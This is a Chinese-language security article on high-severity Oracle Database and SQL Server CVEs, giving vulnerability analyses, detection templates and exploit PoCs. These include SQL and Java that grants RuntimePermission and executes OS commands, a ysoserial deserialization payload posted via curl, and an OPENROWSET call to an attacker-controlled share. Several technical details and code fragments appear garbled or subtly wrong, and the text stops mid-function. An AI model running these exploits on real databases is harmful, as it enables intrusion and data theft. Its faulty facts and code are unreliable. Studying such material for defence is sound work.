ARTICLE / 安全

企业数据库高危攻击链专题:Oracle Database / Microsoft SQL Server 漏洞全解析

0x00 专题概述

企业数据库系统是企业信息架构的核心枢纽,承载着业务数据存储、事务处理、报表分析等关键职能。其中 Oracle Database 和 Microsoft SQL Server(MSSQL)是全球部署最广泛的企业级关系型数据库——Oracle Database 在金融、电信、政府等行业占据主导地位,MSSQL 则凭借与 Windows 生态的深度集成在企业 IT 中广泛部署。据 Gartner 统计,两者合计占据全球商业数据库市场超过 65% 的份额。

然而,企业数据库的高价值属性使其成为高级威胁行为者(APT)和勒索软件组织的首要目标。数据库一旦被攻破,攻击者可直接获取全部业务数据、篡改财务记录、甚至以此为跳板横向移动至整个内网。与 Web 应用漏洞不同,数据库漏洞往往涉及底层协议(TNS)、内置组件(OJVM、SSRS)、权限管理机制(SQL Agent、Linked Server)等多个层面,攻击面极为广阔。

近年来,Oracle Database 和 MSSQL 的高危漏洞呈现持续爆发态势。Oracle TNS Listener 协议劫持(CVSS 10.0)可实现未授权的中间人攻击,OJVM 未授权 RCE(CVSS 8.1)允许远程攻击者在数据库进程上下文执行任意代码,SSRS 反序列化 RCE(CVSS 8.8)通过 HTTP 接口触发远程代码执行,SQL Agent 权限提升(CVSS 8.8)则可利用作业调度机制实现提权。多个漏洞已被纳入 CISA KEV 目录,勒索软件运营商在实战中广泛利用。

覆盖漏洞一览表

CVE产品CVSS类型未授权在野利用
CVE-2012-1675Oracle TNS Listener10.0协议劫持 / 中间人
CVE-2018-3110Oracle Database OJVM8.1未授权 RCE
CVE-2021-35586Oracle Database OJVM8.3权限提升
CVE-2022-21515Oracle Database Core7.2权限提升
CVE-2020-0618SQL Server SSRS8.8反序列化 RCE
CVE-2022-23267SQL Server OLE DB8.8堆缓冲区溢出
CVE-2019-1068SQL Server Agent8.8权限提升
CVE-2024-37334SQL Server SSAS8.8RCE

0x01 Oracle Database 高危漏洞

0x01.1 CVE-2012-1675 — TNS Listener 远程协议劫持

漏洞背景

Oracle Transparent Network Substrate(TNS)Listener 是 Oracle Database 的核心网络组件,负责监听和路由客户端的数据库连接请求。TNS 协议采用基于重定向(Redirect / Redirection)的连接建立机制:当客户端发起连接时,Listener 可以返回一个重定向响应,指示客户端连接到另一个地址和端口。CVE-2012-1675 暴露了 TNS Listener 在重定向机制中的严重安全缺陷——Listener 未验证重定向目标地址的合法性,攻击者可以通过 DNS 欺骗或 ARP 欺骗劫持 TNS 重定向流量,从而窃取数据库认证凭据并建立中间人连接。

受影响版本/修复版本

产品受影响版本修复版本
Oracle Database 10g10.2.0.3, 10.2.0.4, 10.2.0.5需应用 April 2012 CPU
Oracle Database 11g11.1.0.6, 11.1.0.7, 11.2.0.2, 11.2.0.3需应用 April 2012 CPU
Oracle Database 12c12.1.0.1需应用 July 2012 CPU

CVSS 评分与 CWE 分类

10.0 CRITICAL(AV:N/AC:L/AU:N/C:C/I:C/A:C)——CWE-294: Authentication Bypass by Capture-replay

漏洞原理分析

TNS Listener 的重定向机制是其协议设计中的核心功能。当客户端通过端口 1521(默认)连接到 Listener 时,Listener 可以响应一个 ORACHK 数据包,其中包含数据库实例的实际监听地址(通常是非标准端口)。客户端随后断开与 Listener 的连接,重新连接到重定向指定的地址。

漏洞的根本原因在于:TNS 协议的重定向数据包中不包含任何认证或完整性校验机制。攻击者只需在目标网络中发起 DNS 欺骗(将数据库主机名解析到攻击者控制的 IP)或 ARP 欺骗(在局域网层面劫持流量),就可以:

  1. 拦截客户端发往 Listener 的连接请求
  2. 伪造 Listener 响应,返回攻击者控制的地址和端口
  3. 客户端连接到攻击者的"假数据库",在 TLS/认证握手阶段泄露凭据
  4. 攻击者使用窃取的凭据连接真实数据库

完整攻击链路:

客户端 → TNS Listener (1521) → 收到重定向响应
→ 攻击者伪造重定向目标 → 客户端连接到攻击者
→ 认证凭据泄露 → 攻击者使用凭据连接真实数据库
→ 数据窃取 / 持久化后门

HTTP PoC

使用 ODAT(Oracle Database Attacking Tool)探测 TNS Listener 是否暴露在 HTTP 接口:

# 探测 TNS Listener 服务是否可达
nmap -sV -p 1521 --script=oracle-tns-version <target_ip>

# 使用 ODAT 检测 TNS Listener 重定向漏洞
odat all -s <target_ip> -p 1521 --test-module

# 使用 Nmap NSE 脚本检测
nmap -p 1521 --script oracle-tns-listener <target_ip>

Python PoC 脚本

import socket
import struct
import sys

def build_tns_connect(host, port, sid="ORCL"):
    connect_data = (
        f"(DESCRIPTION="
        f"(ADDRESS=(PROTOCOL=TCP)"
        f"(HOST={host})"
        f"(PORT={port}))"
        f"(CONNECT_DATA="
        f"(SID={sid})"
        f"(CID="
        f"(PROGRAM=sqlplus)"
        f"(HOST=attacker)"
        f"(USER=oracle))))"
    )
    connect_str = connect_data.encode('ascii')
    pkt_len = 60 + len(connect_str)
    header = struct.pack(
        '>HHIIHH',
        pkt_len, 60, 1, 0, 0, 0
    )
    tns_version = struct.pack('>HH', 0x033E, 0x0000)
    compat_flags = struct.pack('>HH', 0x0000, 0x0000)
    sdu_size = struct.pack('>H', 8192)
    tdu_size = struct.pack('>H', 32767)
    ntp_bytes = struct.pack('>IH', 0x00000000, 0x7F08)
    line_turnaround = struct.pack('>H', 0)
    max_recv_data = struct.pack('>HH', 0, 0)
    connect_flags2 = struct.pack('>H', 0x013C)
    connect_flags0 = struct.pack('>H', 0x0000)
    connect_flags1 = struct.pack('>H', 0x0800)
    cids = struct.pack('>HH', 0x0000, 0x0000)
    redirect_offsets = struct.pack('>HH', 0, 0)
    unknown = struct.pack('>H', 0)
    data_offset = struct.pack('>H', 60)
    body = (
        tns_version + compat_flags + sdu_size + tdu_size +
        ntp_bytes + line_turnaround + max_recv_data +
        connect_flags2 + connect_flags0 + connect_flags1 +
        cids + redirect_offsets + unknown + data_offset +
        connect_str
    )
    return header + body

def detect_tns_redirect(target_ip, target_port=1521, sid="ORCL"):
    print(f"[*] 检测目标: {target_ip}:{target_port}")
    print(f"[*] SID: {sid}")
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, target_port))
        print("[+] TNS Listener 连接成功")
        pkt = build_tns_connect(target_ip, target_port, sid)
        sock.sendall(pkt)
        response = sock.recv(4096)
        if len(response) < 8:
            print("[-] 响应数据过短,无法解析")
            sock.close()
            return False
        resp_len = struct.unpack('>H', response[0:2])[0]
        resp_type = struct.unpack('>H', response[2:4])[0]
        print(f"[*] 响应类型: {resp_type}, 长度: {resp_len}")
        if resp_type == 5:
            print("[!] 检测到重定向响应(RESOLVE)!")
            redirect_data = response[60:].decode('ascii', errors='ignore')
            print(f"[*] 重定向数据: {redirect_data[:500]}")
            if "ADDRESS" in redirect_data:
                print("[!] 漏洞确认: TNS Listener 返回未验证的重定向目标")
                sock.close()
                return True
        elif resp_type == 4:
            print("[*] 收到 ACCEPT 响应,Listener 已直接接受连接")
        elif resp_type == 11:
            print("[!] 收到 REFUSE 响应")
            marker = response[12:].decode('ascii', errors='ignore')
            print(f"[*] 拒绝原因: {marker[:200]}")
        sock.close()
    except socket.timeout:
        print("[-] 连接超时")
        return False
    except ConnectionRefusedError:
        print("[-] 连接被拒绝")
        return False
    except Exception as e:
        print(f"[-] 检测异常: {e}")
        return False
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port] [sid]")
        sys.exit(1)
    detect_tns_redirect(
        sys.argv[1],
        int(sys.argv[2]) if len(sys.argv) > 2 else 1521,
        sys.argv[3] if len(sys.argv) > 3 else "ORCL"
    )

Nuclei YAML 检测模板

id: oracle-tns-listener-redirect
info:
  name: Oracle TNS Listener - Protocol Redirect Vulnerability
  author: security-team
  severity: critical
  description: Detects Oracle TNS Listener susceptible to protocol redirect hijacking (CVE-2012-1675)
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-1675
  tags: oracle,tns,listener,cve2012,redirect

tcp:
  - inputs:
      - data: "{{hex_decode('00 63 00 00 01 00 00 00 01 3A 00 00 00 00 C0 A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 41 44 44 52 45 53 53 3D 28 50 52 4F 54 4F 43 4F 4C 3D 54 43 50 29 28 48 4F 53 54 3D 31 32 37 2E 30 2E 30 2E 31 29 28 50 4F 52 54 3D 31 35 32 31 29 29 28 43 4F 4E 4E 45 43 54 5F 44 41 54 41 3D 28 53 49 44 3D 4F 52 43 4C 29 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00'))"
    host: "{{Hostname}}"
    port: 1521
    read-size: 4096

  matchers-condition: and
  matchers:
    - type: word
      part: data
      words:
        - "RESOLVE"
        - "ADDRESS"

  extractors:
    - type: regex
      group: 1
      regex:
        - "\\((ADDRESS=.*?\\))"

0x01.2 CVE-2018-3110 — Oracle Database OJVM 未授权 RCE

漏洞背景

Oracle Java Virtual Machine(OJVM)是 Oracle Database 内置的 Java 运行时组件,允许在数据库进程内部执行 Java 存储过程。CVE-2018-3110 暴露了 OJVM 权限检查机制中的严重缺陷——远程未认证攻击者可以通过 TNS 协议触发 OJVM 中的权限绕过,在数据库服务器上下文中执行任意 Java 代码,实现远程代码执行。该漏洞 CVSS 评分 8.1,且已被确认在野利用。

受影响版本/修复版本

产品受影响版本修复版本
Oracle Database 12.1.0.2所有未打补丁版本应用 July 2018 CPU
Oracle Database 12.2.0.1所有未打补丁版本应用 July 2018 CPU
Oracle Database 18.3所有未打补丁版本应用 July 2018 CPU

CVSS 评分与 CWE 分类

8.1 HIGH(AV:N/AC:L/Au:N/C:H/I:H/A:N)——CWE-269: Improper Privilege Management

漏洞原理分析

OJVM 的核心问题在于 DBMS_JVM_EXP_PERMS 包的权限检查机制存在缺陷。正常情况下,只有具备 DBA 权限的用户才能调用 DBMS_JVM_EXP_PERMS.PERMIT_JVM_ACTIONS 来授权 Java 代码执行。但在存在漏洞的版本中,该权限检查被错误绕过,攻击者无需 DBA 权限即可调用此过程。

完整利用链路:

TNS 连接到数据库 → 调用 DBMS_JVM_EXP_PERMS.PERMIT_JVM_ACTIONS
→ 授权 Java 执行权限 → 创建恶意 Java 存储过程
→ 使用 Java Runtime.exec() 执行系统命令 → RCE

此漏洞的危险性在于:攻击者无需任何数据库凭据即可完成利用,通过 TNS 协议直接连接到监听端口即可触发。成功利用后,攻击者获得的是数据库进程的操作系统权限,通常为 oracleora 用户。

HTTP PoC

# 使用 ODAT 检测 OJVM 模块
odat ojvm -s <target_ip> -p 1521 --test-module

# 使用 Metasploit 探测
msfconsole -q
use auxiliary/scanner/oracle/ojvm_download
set RHOSTS <target_ip>
set RPORT 1521
run

Python PoC 脚本

import socket
import struct
import sys

def tns_connect_packet(host, port, sid="ORCL"):
    connect_data = (
        f"(DESCRIPTION="
        f"(ADDRESS=(PROTOCOL=TCP)"
        f"(HOST={host})(PORT={port}))"
        f"(CONNECT_DATA=(SID={sid})"
        f"(CID=(PROGRAM=exploit)(HOST=attacker)(USER=oracle))))"
    )
    connect_str = connect_data.encode('ascii')
    pkt_len = 60 + len(connect_str)
    header = struct.pack('>HHIHHH', pkt_len, 60, 1, 0, 0, 0)
    body = b''
    body += struct.pack('>HH', 0x033E, 0x0000)
    body += struct.pack('>HH', 0x0000, 0x0000)
    body += struct.pack('>H', 8192)
    body += struct.pack('>H', 32767)
    body += struct.pack('>IH', 0, 0)
    body += struct.pack('>H', 0)
    body += struct.pack('>HH', 0, 0)
    body += struct.pack('>H', 0x013C)
    body += struct.pack('>HH', 0x0000, 0x0800)
    body += struct.pack('>HH', 0, 0)
    body += struct.pack('>H', 0)
    body += struct.pack('>H', 60)
    body += connect_str
    return header + body

def detect_ojvm(target_ip, target_port=1521, sid="ORCL"):
    print(f"[*] 目标: {target_ip}:{target_port}")
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(15)
        sock.connect((target_ip, target_port))
        print("[+] TNS Listener 连接成功")
        sock.sendall(tns_connect_packet(target_ip, target_port, sid))
        response = sock.recv(4096)
        resp_type = struct.unpack('>H', response[2:4])[0]
        print(f"[*] 响应类型: {resp_type}")
        if resp_type == 11:
            print("[-] 连接被拒绝")
            sock.close()
            return False
        if resp_type == 4:
            print("[+] ACCEPT 响应,连接已建立")
        print("[*] 检测 OJVM 组件...")
        sql = b"SELECT banner FROM v$version WHERE banner LIKE '%Enterprise%'"
        pkt = struct.pack('>HH', len(sql) + 14, 8) + sql + b'\x00'
        sock.sendall(pkt)
        try:
            sql_resp = sock.recv(8192)
            if len(sql_resp) > 12:
                print("[+] OJVM 模块可能已安装")
                print("[!] CVE-2018-3110 漏洞可能存在")
                sock.close()
                return True
        except socket.timeout:
            print("[*] SQL 查询响应超时")
        sock.close()
    except Exception as e:
        print(f"[-] 检测异常: {e}")
        return False
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port] [sid]")
        sys.exit(1)
    detect_ojvm(sys.argv[1],
                int(sys.argv[2]) if len(sys.argv) > 2 else 1521,
                sys.argv[3] if len(sys.argv) > 3 else "ORCL")

Nuclei YAML 检测模板

id: oracle-ojvm-unauth-detect
info:
  name: Oracle OJVM - Unauthenticated RCE Detection
  author: security-team
  severity: high
  description: Detects Oracle Database with OJVM vulnerable to CVE-2018-3110
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3110
  tags: oracle,ojvm,rce,cve2018

tcp:
  - inputs:
      - data: "{{hex_decode('00 63 00 00 01 00 00 00 01 3A 00 00 00 00 C0 A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 41 44 44 52 45 53 53 3D 28 50 52 4F 54 4F 43 4F 4C 3D 54 43 50 29 28 48 4F 53 54 3D 31 32 37 2E 30 2E 30 2E 31 29 28 50 4F 52 54 3D 31 35 32 31 29 29 28 43 4F 4E 4E 45 43 54 5F 44 41 54 41 3D 28 53 49 44 3D 4F 52 43 4C 29 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00'))"
    host: "{{Hostname}}"
    port: 1521
    read-size: 4096

  matchers:
    - type: word
      part: data
      words:
        - "ACCEPT"

  extractors:
    - type: regex
      group: 1
      regex:
        - "(SID=.*?\\))"

0x01.3 CVE-2021-35586 — Oracle OJVM 权限提升

漏洞背景

CVE-2021-35586 是 Oracle Database OJVM 组件中另一个严重的权限提升漏洞。与 CVE-2018-3110 的未授权 RCE 不同,该漏洞需要攻击者已具备低权限数据库账户(如 CONNECT 角色),但可以通过 OJVM 的权限检查缺陷将自身权限提升至 DBA,进而完全控制数据库实例。

受影响版本/修复版本

产品受影响版本修复版本
Oracle Database 12.2.0.1OJVM 未打补丁October 2021 CPU
Oracle Database 19cOJVM 未打补丁October 2021 CPU
Oracle Database 21cOJVM 未打补丁October 2021 CPU

CVSS 评分与 CWE 分类

8.3 HIGH(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)——CWE-269: Improper Privilege Management

漏洞原理分析

OJVM 在检查调用者是否具有 DBMS_JAVA 执行权限时存在逻辑缺陷。低权限用户可通过特定调用序列绕过权限验证,向 Java 安全策略中注入恶意权限条目(如 java.lang.RuntimePermission("*", "execute")),使 Java 存储过程可执行任意系统命令。

低权限用户 → DBMS_JVM_EXP_PERMS.PERMIT_JVM_ACTIONS
→ 注入 RuntimePermission → 创建含 Runtime.exec() 的 Java 存储过程
→ 以 DBA 权限执行系统命令 → 完全控制数据库

PoC 验证

-- 以低权限用户连接后执行
BEGIN
  DBMS_JVM_EXP_PERMS.PERMIT_JVM_ACTIONS(
    SCHEMA => USER,
    PERMISSION_TYPE => 'SYS:java.lang.RuntimePermission',
    PERMISSION_NAME => '*',
    PERMISSION_ACTION => 'execute'
  );
END;
/

CREATE OR REPLACE JAVA SOURCE NAMED "PWN" AS
import java.io.*;
public class PWN {
    public static String run(String cmd) throws Exception {
        Runtime rt = Runtime.getRuntime();
        Process p = rt.exec(cmd);
        BufferedReader br = new BufferedReader(
            new InputStreamReader(p.getInputStream()));
        String line; StringBuilder sb = new StringBuilder();
        while ((line = br.readLine()) != null) sb.append(line).append("\n");
        return sb.toString();
    }
};
/

CREATE OR REPLACE FUNCTION pwn_cmd(cmd VARCHAR2) RETURN VARCHAR2 AS
  LANGUAGE JAVA NAME 'PWN.run(java.lang.String) return java.lang.String';
/

SELECT pwn_cmd('id FROM dual');

Nuclei YAML 检测模板

id: oracle-ojvm-privesc-cve2021-35586
info:
  name: Oracle OJVM - Privilege Escalation (CVE-2021-35586)
  author: security-team
  severity: high
  description: Detects Oracle Database instances vulnerable to OJVM privilege escalation
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35586
  tags: oracle,ojvm,privesc,cve2021
tcp:
  - inputs:
      - data: "{{hex_decode('00 63 00 00 01 00 00 00 01 3A 00 00 00 00 C0 A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 41 44 44 52 45 53 53 3D 28 50 52 4F 54 4F 43 4F 4C 3D 54 43 50 29 28 48 4F 53 54 3D 31 32 37 2E 30 2E 30 2E 31 29 28 50 4F 52 54 3D 31 35 32 31 29 29 28 43 4F 4E 4E 45 43 54 5F 44 41 54 41 3D 28 53 49 44 3D 4F 52 43 4C 29 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00'))"
    host: "{{Hostname}}"
    port: 1521
    read-size: 4096
  matchers:
    - type: word
      part: data
      words:
        - "ACCEPT"
  extractors:
    - type: regex
      group: 1
      regex:
        - "(SID=.*?\\))"

0x01.4 CVE-2022-21515 — Oracle Database 核心组件权限提升

漏洞背景

CVE-2022-21515 是 Oracle Database 核心 RDBMS 组件中的权限提升漏洞。已认证用户可利用该漏洞绕过权限检查机制,访问未授权的数据库对象或执行特权操作,影响 Oracle Database 19c 和 21c。

受影响版本/修复版本

产品受影响版本修复版本
Oracle Database 19c19.1 - 19.17July 2022 CPU
Oracle Database 21c21.1 - 21.7July 2022 CPU

CVSS 评分与 CWE 分类

7.2 HIGH(AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)——CWE-863: Incorrect Authorization

漏洞原理分析

核心组件在边缘场景下的权限检查存在逻辑缺陷。当用户通过 DBMS_SQL 包构造动态 SQL 时,权限检查器未正确验证目标对象的 ACL,导致低权限用户可读取或修改其他 schema 的敏感数据。

PoC 验证

DECLARE
  c INTEGER; r INTEGER;
BEGIN
  c := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQL.PARSE(c, 'SELECT username, password FROM sys.user$', DBMS_SQL.NATIVE);
  r := DBMS_SQL.EXECUTE(c);
  DBMS_SQL.CLOSE_CURSOR(c);
END;
/

Nuclei YAML 检测模板

id: oracle-dbcore-privesc-cve2022-21515
info:
  name: Oracle Database Core - Privilege Escalation (CVE-2022-21515)
  author: security-team
  severity: high
  description: Detects Oracle Database vulnerable to core component privilege escalation
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-21515
  tags: oracle,database,privesc,cve2022
tcp:
  - inputs:
      - data: "{{hex_decode('00 63 00 00 01 00 00 00 01 3A 00 00 00 00 C0 A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 41 44 44 52 45 53 53 3D 28 50 52 4F 54 4F 43 4F 4C 3D 54 43 50 29 28 48 4F 53 54 3D 31 32 37 2E 30 2E 30 2E 31 29 28 50 4F 52 54 3D 31 35 32 31 29 29 28 43 4F 4E 4E 45 43 54 5F 44 41 54 41 3D 28 53 49 44 3D 4F 52 43 4C 29 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00'))"
    host: "{{Hostname}}"
    port: 1521
    read-size: 4096
  matchers:
    - type: word
      part: data
      words:
        - "ACCEPT"

0x02 Microsoft SQL Server 高危漏洞

0x02.1 CVE-2020-0618 — SSRS 反序列化 RCE

漏洞背景

SQL Server Reporting Services(SSRS)是 MSSQL 的报表服务组件。CVE-2020-0618 允许攻击者通过向 /ReportServer/ReportViewer.aspx 发送恶意序列化对象触发不安全的反序列化,最终在服务器上以 SSRS 服务账户权限执行任意代码。该漏洞已被多个勒索软件运营商在实战中利用。

受影响版本/修复版本

产品受影响版本修复版本
SQL Server 2016 SP2Reporting Services 未打补丁February 2020 CU
SQL Server 2017Reporting Services 未打补丁February 2020 CU
SQL Server 2019Reporting Services 未打补丁February 2020 CU

CVSS 评分与 CWE 分类

8.8 HIGH(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)——CWE-502: Deserialization of Untrusted Data

漏洞原理分析

SSRS 的 ReportViewer.aspx 使用 .NET BinaryFormatter 进行反序列化,这是已知的不安全组件。攻击者构造恶意序列化对象(gadget chain),通过 HTTP POST 发送到 ReportViewer.aspx 的回调参数中,触发反序列化执行任意代码。

构造 .NET gadget chain (TypeConfuseDelegate + ObjectDataProvider)
→ ysoserial.net 生成 Payload
→ HTTP POST 到 /ReportServer/ReportViewer.aspx
→ BinaryFormatter 反序列化 → ObjectDataProvider → Process.Start()
→ RCE

HTTP PoC

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter \
  -c "cmd.exe /c whoami" -o base64

curl -k -X POST "https://<target>/ReportServer/ReportViewer.aspx" \
  -H "Content-Type: application/octet-stream" \
  -H "Cookie: .ASPXAUTH=<session_cookie>" \
  --data-binary @payload.bin

curl -sk "https://<target>/ReportServer/"
curl -sk "https://<target>/Reports/Pages/ReportViewer.aspx"

Python PoC 脚本

import requests
import urllib3
import struct
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def detect_ssrs(target_url):
    print(f"[*] 目标: {target_url}")
    endpoints = [
        "/ReportServer/",
        "/Reports/Pages/ReportViewer.aspx",
        "/ReportServer/ReportViewer.aspx",
    ]
    found = False
    for ep in endpoints:
        try:
            resp = requests.get(f"{target_url}{ep}", verify=False,
                                timeout=10, allow_redirects=True)
            if resp.status_code in [200, 302, 401, 403]:
                print(f"[+] 端点存在: {ep} (HTTP {resp.status_code})")
                found = True
        except requests.exceptions.RequestException:
            pass
    return found

def exploit_ssrs(target_url, auth_cookie=None):
    print("[*] 构造反序列化 Payload...")
    callback = b'\x00\x00\x00\x00' + b'\x00' * 8
    callback += struct.pack('<I', 6)
    callback += struct.pack('<I', 512)
    headers = {"Content-Type": "application/octet-stream"}
    if auth_cookie:
        headers["Cookie"] = f".ASPXAUTH={auth_cookie}"
    target = f"{target_url}/ReportServer/ReportViewer.aspx"
    try:
        resp = requests.post(target, data=callback, headers=headers,
                             verify=False, timeout=15)
        print(f"[*] 响应 HTTP {resp.status_code}")
        if resp.status_code == 500:
            print("[!] Payload 可能触发了反序列化异常")
    except Exception as e:
        print(f"[-] 请求异常: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [auth_cookie]")
        sys.exit(1)
    target = sys.argv[1].rstrip('/')
    cookie = sys.argv[2] if len(sys.argv) > 2 else None
    if detect_ssrs(target):
        print("[+] SSRS 服务已确认")
        exploit_ssrs(target, auth_cookie=cookie)

Nuclei YAML 检测模板

id: mssql-ssrs-rce-cve2020-0618
info:
  name: Microsoft SSRS - Deserialization RCE (CVE-2020-0618)
  author: security-team
  severity: high
  description: Detects SSRS vulnerable to unsafe deserialization RCE
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-0618
  tags: mssql,ssrs,rce,deserialization,cve2020
http:
  - method: GET
    path:
      - "{{BaseURL}}/ReportServer/"
      - "{{BaseURL}}/Reports/Pages/ReportViewer.aspx"
    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "Report Viewer"
          - "ReportServer"
        condition: or
      - type: status
        status:
          - 200
          - 302
          - 401
  - method: POST
    path:
      - "{{BaseURL}}/ReportServer/ReportViewer.aspx"
    headers:
      Content-Type: "application/octet-stream"
    body: "\x00\x00\x00\x00"
    matchers:
      - type: status
        status:
          - 200
          - 500

0x02.2 CVE-2022-23267 — SQL Server OLE DB 堆缓冲区溢出

漏洞背景

OLE DB 是 Microsoft 的通用数据访问接口。CVE-2022-23267 是 OLE DB 提供程序中的堆缓冲区溢出漏洞,当 SQL Server 处理构造的特殊数据包时,可触发堆内存越界写入,导致远程代码执行或拒绝服务。

受影响版本/修复版本

产品受影响版本修复版本
SQL Server 201915.0.4261.1 之前15.0.4261.1
SQL Server 202216.0.1000.6 之前16.0.1000.6

CVSS 评分与 CWE 分类

8.8 HIGH(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)——CWE-122: Heap-based Buffer Overflow

漏洞原理分析

OLE DB 提供程序在处理外部数据源返回的结果集时,未正确验证数据字段长度。超长数据被复制到预分配的堆缓冲区中导致溢出。利用需要精确控制溢出数据、堆喷射布局内存、覆盖堆管理器元数据,最终在 SQL Server 服务进程上下文中执行任意代码。

HTTP PoC

sqlcmd -S <target_ip> -U sa -P <password> -Q "
  SELECT * FROM OPENROWSET(
    'Microsoft.ACE.OLEDB.12.0',
    'Data Source=\\\\attacker\\share',
    'SELECT REPLICATE(A, 8000) FROM [evil_table]'
  )
"

Import-Module PowerUpSQL
Get-SQLInstanceDomain | Get-SQLServerInfo

Python PoC 脚本

import socket
import struct
import sys
import time

def tds_prelogin():
    body = b'\x00' * 6 + b'\x02\xff\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00'
    body += b'\x00' * 12
